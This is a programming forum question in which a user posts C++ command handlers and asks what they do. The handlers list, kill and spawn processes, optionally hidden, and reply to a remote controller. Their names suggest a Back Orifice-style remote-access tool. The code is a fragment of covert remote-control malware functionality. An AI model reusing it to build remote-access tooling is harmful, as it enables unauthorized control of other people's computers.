We help IT Professionals succeed at work.

Check out our new AWS podcast with Certified Expert, Phil Phillips! Listen to "How to Execute a Seamless AWS Migration" on EE or on your favorite podcast platform. Listen Now

x

C++ und Delphi

k4hvd77
k4hvd77 asked
on
Medium Priority
352 Views
Last Modified: 2010-08-05
Hi Experts,
Can anybody tell me what this Code do:

--------------------------------------------------------------------------------------------------------------------------------------------

bool BOAPI CmdProc_ProcessList( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      char svBuffer[1024];
      PROCESSINFO *pinfo,*cur;

      if(svArg2) if(svArg2[0]=='\0') svArg2=NULL;

      pinfo=fct->CreateProcListSnapshot(gs, svArg2);

      for(cur=pinfo;cur;cur=cur->next) {
            THREADINFO *pti;
            int nThreads;

            nThreads=0;
            for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
      
            api->pwsprintf(svBuffer,"(0x%X) %s  %d threads\n",cur->dwProcID,cur->svApp,nThreads);
            
            fct->IssueAuthCmdReply(gs, ctx, 0, svBuffer);
      }
      fct->IssueAuthCmdReply(gs, ctx, 0, "End process list.\n");
      fct->DestroyProcListSnapshot(gs, pinfo);      
      
      return 0;
}

bool BOAPI CmdProc_ProcessKill( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      // Get pid string (hex)
      char *svPid;
      fct->CharUpper(svArg2);
      svPid=fct->BreakString(svArg2,"0X", gs);
      if( svPid==NULL ) svPid=svArg2;
      
      // Convert to dword
      DWORD dwPid;
      dwPid=0;
      while(*svPid) {
            char c;
            c=*svPid;

            if(c>='A' && c<='F') c=c-'A'+0xA;
            else if(c>='0' && c<='9') c-='0';
            else c=0;

            dwPid<<=4;
            dwPid|=c;

            svPid++;
      }
      
      // Open process handle
      HANDLE hProc;
      hProc=api->pOpenProcess(PROCESS_TERMINATE,FALSE,dwPid);
      if(hProc==NULL) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not access process.\n" );
            return false;
      }
      if(api->pTerminateProcess(hProc,0)==0) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not terminate process.\n" );
            return false;
      }

      fct->IssueAuthCmdReply( gs, ctx, 0, "Process terminated.\n" );
      return true;
}

bool BOAPI CmdProc_ProcessSpawn( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      STARTUPINFO si;
      PROCESS_INFORMATION pi;

      si.cb=sizeof(STARTUPINFO);
      gs->fct.memset(&si,0,sizeof(STARTUPINFO));
      si.dwFlags=STARTF_FORCEOFFFEEDBACK|STARTF_USESHOWWINDOW;
      si.wShowWindow=(nArg1==1)?SW_HIDE:SW_SHOW;
      HINSTANCE ShellExError;

      if(gs->api.pCreateProcess(
            NULL,
            svArg2,
            NULL,
            NULL,
            FALSE,
            NORMAL_PRIORITY_CLASS,
            NULL,
            NULL,
            &si,
            &pi)==0) {
            ShellExError = ShellExecute(NULL, "open", svArg2, NULL, NULL, si.wShowWindow);
            if (int(ShellExError)<= 32) {
                        gs->fct.IssueAuthCmdReply(gs,ctx,BCC_ERR,"Could not spawn process.\n");
                        return false;
            }
      }

      gs->fct.IssueAuthCmdReply( gs, ctx, 0, "Process spawned.\n" );
      return true;
}

--------------------------------------------------------------------------------------------------------------------------------------------
Comment
Watch Question

Unlock this solution and get a sample of our free trial.
(No credit card required)
UNLOCK SOLUTION

Author

Commented:
Thank you shaneholmes ;)
Unlock the solution to this question.
Thanks for using Experts Exchange.

Please provide your email to receive a sample view!

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.